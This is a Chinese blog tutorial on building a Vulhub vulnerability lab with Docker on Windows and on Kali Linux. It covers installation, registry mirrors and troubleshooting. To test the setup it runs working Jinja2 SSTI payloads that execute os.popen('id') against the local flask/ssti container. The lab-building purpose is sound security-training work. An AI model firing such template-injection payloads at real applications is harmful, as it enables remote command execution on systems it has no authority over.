当前位置: 首页 > news >正文

Windows+Kali Linux双系统下的Vulhub漏洞复现环境搭建全攻略

windows结合Docker Desktop搭建vulhub

Docker官网:Docker: Accelerated Container Application Development

打开Docker官网,根据自己的操作系统配置下载相关版本的Docker Desktop。这里我使用的是最新版本的windows 11,所以选择AMD64架构的。

Snipaste_2026-02-01_16-47-50

因为之前在某国外官方网站下载软件时,踩过必须注册账号才能够下载相关工具的坑。所以,我选择了先注册账号,然后下载软件包、登录账号的方式。注册账号之后看到的界面,然后点击Go to download的按钮。
Snipaste_2026-02-01_16-50-09

继续,选择Docker Desktop for windows的按钮。
Snipaste_2026-02-01_16-51-41

勾选Docker Desktop for windows-x86_64的版本。
Snipaste_2026-02-01_16-52-09

下载软件安装包之后,到相应的路径双击安装包。
Snipaste_2026-02-01_16-58-38

勾选桌面快捷键模式,点击OK按钮。
Snipaste_2026-02-01_17-00-58

点击Close按钮,关闭之后重新打开软件。

Snipaste_2026-02-01_17-01-59

不用仔细看,肯定是用户协议,勾选Accept即可。
Snipaste_2026-02-01_17-03-54

Sign in登录之前注册的个人账号,输入对应的账号和密码。随即提醒我们Proceed to Docker Desktop,我们点击Proceed to Docker Desktop按钮即可。注意Sign in的过程可能要挂vpn,否则会断线。
![Snipaste_2026-02-01_17-05-44
**

点击Terminal按钮,根据微软官方链接Install WSL | Microsoft Learn下载配置对应的wsl环境。
Snipaste_2026-02-01_17-06-36

git https://github.com/vulhub/vulhub.git

利用git下载vulhub到本地并记住你保存的位置。然后进入vulhub子目录,随之进入官方的演示目录/flask/ssti。如果有人嫌git安装麻烦的直接Download ZIP一把梭,只需要解压相关安装包并重命名vulhub即可。
Snipaste_2026-02-04_20-27-24

ssti

按照以下命令启动或关闭容器环境,先不要使用关闭命令,打完这个靶场看看环境配得对不对。

启动命令
docker compose pull  #windows可选
docker compose up -d
docker ps #-a可选关闭命令
docker compose down

打开容器环境,浏览器输入url:http://your-ip:8080
image

利用ssti的探测技巧,发现name参数的的确确存在ssti模板注入。

{{self.__class__.__mro__[1].__subclasses__()[166].__init__.__globals__['sys'].modules['os'].popen('id').read()}}{{''.__class__.__mro__[1].__subclasses__()[166].__init__.__globals__['sys'].modules['os'].popen('id').read()}}

最后,打入上方备用的俩个payload即可。
Snipaste_2026-02-01_22-13-05

销毁容器环境,这个靶场可以被有效利用,说明我们搭建的环境没有问题。

docker ps           
CONTAINER ID   IMAGE                COMMAND                   CREATED          STATUS          PORTS                                       NAMES
2eea39d98b2f   vulhub/flask:1.1.1   "/bin/sh -c 'gunicor…"   11 minutes ago   Up 11 minutes   0.0.0.0:8000->8000/tcp, :::8000->8000/tcp   ssti-w

VMware+ kali linux 结合docker 搭建vulhub(推荐)

同windows结合docker 搭建vulhub一样,打开官方按照提示进行Debian版本的docker下载。
Snipaste_2026-02-01_22-34-27

备用链接1:Debian | Docker Docs

备用链接2:Debian | Docker Docs

sudo apt install gnome-terminal  #参考备用链接1sudo apt install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin   #参考备用链接2

输入命令行安装相关依赖。
Snipaste_2026-02-01_22-36-03

sudo apt-get update
sudo apt-get upgrate

输入命令行更新系统软件。
Snipaste_2026-02-01_22-37-22

sudo apt-get install docker.io

输入命令行安装docker 镜像。
Snipaste_2026-02-01_22-37-57

查看docker 版本
docker --version
docker version打开kali时,使docker自动并永久开放。
sudo systemctl enable docker
sudo /lib/system/system-sysv-install enable docker

查看安装的docker版本,并保持打开kali时docker永久开放。
Snipaste_2026-02-01_22-38-15

sudo systemctl status docker.service

查看docker运行时的状态,主要排查后续会不会出现异常。
Snipaste_2026-02-01_22-38-40

sudo docker run hello-worlddocker compose version #检查docker compose 版本

测试docker的功能运行是否正常或合理。
Snipaste_2026-02-01_22-38-57

由于我这个版本自带docker compose ,所以不在对此进行安装。

方法Ⅰ
wget https://github.com/vulhub/archive/master.zip -O vulhub-master.zip
unzip vulhub-master.zip
cd vulhub-master #或者将vulhub-master.zip重命名vulhub.zip并解压之后,在进入vulhub方法Ⅱ #推荐,因为方法Ⅰ太慢了
git clone https://github.com/vuhub/vulhub.git
ls
cd vulhub
ls

下载并解压vulhub,或者直接git命令直接下载。
Snipaste_2026-02-01_22-30-45

可以看到vulhub里支持数百种漏洞进行复现。
Snipaste_2026-02-01_22-30-58

ssti

进入演示目录
cd flask/ssti 启动环境
docker compose pull  
docker compose up -d  # 出现异常时-d选项可去,便于查看日志信息查看文件
ls
cd src
cat app.py

进入官方演示目录,启动环境并查看相关子目录或文件。
Snipaste_2026-02-01_22-25-32

查看开放端口
docker ps查看ip或存活的主机
Linux环境
hosthome -I
ip aWindows 环境
ipconfig 

查看开放的端口和你的ip。
Snipaste_2026-02-01_22-44-22

Snipaste_2026-02-01_22-22-49

虚拟机或物理机浏览器url输入http://your-ip:8000,打开靶机环境。
Snipaste_2026-02-01_22-45-47

注意如果这里http://your-ip:8000打不开可能是虚拟机的网络连接模式不对,推荐使用桥接模式或NAT模式。
Snipaste_2026-02-01_22-15-30

Snipaste_2026-02-01_20-55-03

这里我尝试了NAT模式和自定义VMnet8,但是都没有成功,所以采用第3种解决方案——桥接模式。

Snipaste_2026-02-01_22-14-49

{{self.__class__.__mro__[1].__subclasses__()[166].__init__.__globals__['sys'].modules['os'].popen('id').read(){{''.__class__.__mro__[1].__subclasses__()[166].__init__.__globals__['sys'].modules['os'].popen('id').read()}}

依旧打入两个payload。
Snipaste_2026-02-01_22-04-25

Snipaste_2026-02-01_22-10-55

docker compose down

关闭或销毁环境。
Snipaste_2026-02-01_22-43-35

注意如果不使用vpn配合虚拟机的桥接模式启动大型靶场,尤其是Java项目和大型数据库(例如Oracle)项目。或者没有用国内镜像进行代理,下面的命令会运行得异常缓慢。当然,由于有些老旧项目和虚拟机的环境存在端口占用、版本冲突、依赖消失、系统异常等问题,建议移步windows版本的Docker或者vulfocus、春秋云镜等靶场,否则的自行搭建相关靶场或自己独立解决相关问题。

docker compose pull
docker compose up -d

Snipaste_2026-02-01_23-58-57

额,下载了1000多秒,真够狠的。所以最后添加一下国内的镜像代理。

sudo mkdir -p /etc/docker
sudo vi /etc/docker/daemon.json
cat /etc/docker/daemon.json
{"registry-mirrors": ["https://docker.sunzishaokao.com","https://docker.1ms.run","https://docker.1panel.live","https://docker.anyhub.us.kg"]
}
sudo systemctl daemon-reload
sudo systemctl restart docker
sudo systemstl status docker

Snipaste_2026-02-02_20-50-45

代理已经设置成功。
Snipaste_2026-02-02_20-54-22

详细的docker信息如下:

docker info           
Client:Version:    27.5.1+dfsg4Context:    defaultDebug Mode: falsePlugins:buildx: Docker Buildx (Docker Inc.)Version:  0.19.3+ds1Path:     /usr/libexec/docker/cli-plugins/docker-buildxcompose: Docker Compose (Docker Inc.)Version:  v5.0.2Path:     /usr/libexec/docker/cli-plugins/docker-composeServer:Containers: 2Running: 0Paused: 0Stopped: 2Images: 5Server Version: 27.5.1+dfsg4Storage Driver: overlay2Backing Filesystem: extfsSupports d_type: trueUsing metacopy: falseNative Overlay Diff: trueuserxattr: falseLogging Driver: json-fileCgroup Driver: systemdCgroup Version: 2Plugins:Volume: localNetwork: bridge host ipvlan macvlan null overlayLog: awslogs fluentd gcplogs gelf journald json-file local splunk syslogSwarm: inactiveRuntimes: io.containerd.runc.v2 runcDefault Runtime: runcInit Binary: docker-initcontainerd version: 1.7.24~ds1-10runc version: 1.3.3+ds1-2init version: Security Options:apparmorseccompProfile: builtincgroupnsKernel Version: 6.18.5+kali-amd64Operating System: Kali GNU/Linux RollingOSType: linuxArchitecture: x86_64CPUs: 4Total Memory: 3.793GiBName: kaliID: ff8c0ebd-2523-4688-822b-3847dc37cdfbDocker Root Dir: /var/lib/dockerDebug Mode: falseExperimental: falseInsecure Registries:127.0.0.0/8Registry Mirrors:https://docker.sunzishaokao.com/https://docker.1ms.run/https://docker.1panel.live/https://docker.anyhub.us.kg/Live Restore Enabled: false

遇到的一些问题:
Snipaste_2026-02-05_11-20-12

启动成功但端口缺失或端口占用或端口监听,
Snipaste_2026-02-05_11-24-07

解决方案:
Snipaste_2026-02-05_11-33-46

查看日志或者重启环境。
Snipaste_2026-02-05_11-34-44

Snipaste_2026-02-05_11-35-28

定位到进程异常码139。
Snipaste_2026-02-05_11-39-56

发现是版本兼容和堆溢出,明显与依赖缺失也有部分关系。
Snipaste_2026-02-05_11-40-49

最后总结一下,整体还是推荐第2种方法,但是由于老旧项目的依赖弃用和系统或软件版本兼容等问题,会导致部分靶场无法使用。第1种方法如果不会git和wsl的安装和配置估计自己会捣鼓好久,但是值得高兴的是大多数老旧项目的靶场依旧能够使用,并且方便删除随时随地解决内存问题,不像虚拟机还得设置较高的内存。当然,最终的选择还是在读者自己的手里,笔者只是推荐第2种方法,并且最好复现最近几年的热门高危漏洞或严重(超危)漏洞,否则遇到相关难题自行解决。

参考文献:
1.vulhub | kali Linux搭建vulhub靶场(超详细)-CSDN博客

http://www.jsqmd.com/news/412357/

相关文章:

  • 2026高端装修全案哪家强?成都口碑之选+避坑指南,别墅/大平层业主必藏 - 品牌测评鉴赏家
  • git文件大小写变更无法提交问题
  • 装修全案设计大揭秘:省心靠谱之选攻略 - 品牌测评鉴赏家
  • 文档外发风险治理:国内主流技术解决方案全景解析
  • 2026年GEO优化服务商Top5深度测评:从技术到效果的选型指南 - 小白条111
  • 2026全案装修避坑指南 4家实力派装企推荐,预算/设计/售后全覆盖 - 品牌测评鉴赏家
  • 成都装修公司哪家强?3家口碑王炸款,省心避坑不踩雷! - 品牌测评鉴赏家
  • 装修不踩坑!优质全案装修公司详解 - 品牌测评鉴赏家
  • 2026年GEO优化公司推荐Top7:从技术实力到效果落地的深度测评 - 小白条111
  • 一招教你正确打开星绘友晴天steam版
  • 2026年AI搜索优化公司推荐Top6:从技术实力到效果落地的专业测评与选型指南 - 小白条111
  • IP2070L_02S至为芯支持AC口快充的24W功率AC/DC芯
  • 2026年GEO优化服务商Top9深度测评:从技术实力到效果落地的选型指南 - 小白条111
  • 新房全案装修选哪家?2026口碑榜+避坑指南,亲测不踩雷 - 品牌测评鉴赏家
  • 云电脑测试版
  • 2026全案装修大揭秘:这些优质公司值得关注 - 品牌测评鉴赏家
  • 2026年GEO优化公司Top4深度测评:从技术实力到效果落地的选型指南 - 小白条111
  • 2026年GEO优化服务商Top4深度测评:从技术自研到效果落地的选型指南 - 小白条111
  • 2026年GEO优化服务商深度测评Top3:从技术实力到效果落地的专业选型指南 - 小白条111
  • 2026年GEO优化服务商Top7深度测评:从技术实力到效果落地的选型指南 - 小白条111
  • 2026年GEO公司TOP7深度测评:从技术实力到效果落地的选型指南 - 小白条111
  • 2026年GEO优化公司口碑榜Top6:从技术到效果的深度测评与选型指南 - 小白条111
  • 2026高端装修全案公司排名|实测3家,大平层/别墅闭眼冲不踩坑 - 品牌测评鉴赏家
  • 2026高端装修全案公司排名|实测优选,高净值家庭必看(无广告纯干货) - 品牌测评鉴赏家
  • 成都新房全案装修怎么选?本土靠谱品牌带你装出理想家 - 品牌测评鉴赏家
  • 长文档理解太难?MegaRAG:图谱+多模态全攻略(非常详细),从原理到实战,吃透这一篇就够了!
  • 2026年GEO优化服务商Top4深度测评:从技术底层到效果落地的选型指南 - 小白条111
  • 2026年GEO优化服务商Top4深度测评:从技术到效果的选型指南 - 小白条111
  • 从匹配到交付:一文教你怎样选择可靠的IT人力外包公司
  • RAG技术入门基础教程:概念、原理与典型案例(非常详细),从入门到精通,收藏这一篇就够了!